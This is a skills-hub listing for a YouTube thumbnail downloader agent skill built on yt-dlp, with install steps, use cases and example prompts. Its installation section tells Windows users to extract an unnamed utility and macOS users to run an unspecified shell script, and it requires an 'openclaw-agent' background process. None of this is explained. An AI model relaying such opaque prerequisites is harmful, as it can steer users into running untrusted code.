youtube-thumbnail-grabber
Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.
Why use this skill?
Easily download YouTube video thumbnails in multiple resolutions using the OpenClaw YouTube Thumbnail Grabber skill. Automate image retrieval via yt-dlp.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-jes1tWhat This Skill Does
The YouTube Thumbnail Grabber is a specialized OpenClaw agent skill designed to streamline the process of retrieving high-quality preview imagery from any public YouTube video. By leveraging the power of yt-dlp, this tool abstracts away the complexity of parsing video URLs, automatically identifying the correct video ID, and fetching thumbnails across various resolutions. Whether you need the highest quality 'maxresdefault' image or a standard thumbnail for internal documentation, this skill provides a robust, scriptable interface to download, organize, and inspect video assets programmatically.
Installation
To begin, ensure you have the OpenClaw agent running as specified in the platform prerequisites (Windows users must extract the utility, and macOS users should run the provided shell script). Once the environment is configured, execute the following command in your terminal:
clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-jes1t
Additionally, ensure that yt-dlp is installed on your system using pip install yt-dlp. This backend dependency is essential for handling URL resolution and metadata extraction.
Use Cases
- Content Curation: Quickly build galleries or collages of video previews for blog posts or social media.
- Archive Management: Save reference thumbnails alongside downloaded video data for easier identification in your local file system.
- Data Analysis: Extract thumbnail metadata to analyze aspect ratios, color themes, or resolution trends across a collection of videos.
- Automated Reporting: Incorporate specific video visuals into auto-generated reports or dashboard updates via CLI scripts.
Example Prompts
- "Grab the high-resolution thumbnail for this video URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it as cool_video.jpg."
- "Download all available resolution versions for the video with ID dQw4w9WgXcQ to my current directory."
- "Can you show me the direct image links for the best three resolutions available for this YouTube link?"
Tips & Limitations
- Resolution Availability: 'maxresdefault' is not guaranteed for every video; some older uploads may only provide 'hqdefault' as their highest resolution.
- Environment: Always verify that the openclaw-agent is active, as network operations and image fetching rely on its background process.
- Batch Limits: When processing massive playlists, consider rate-limiting your requests to avoid potential temporary IP blocks from Google's servers.
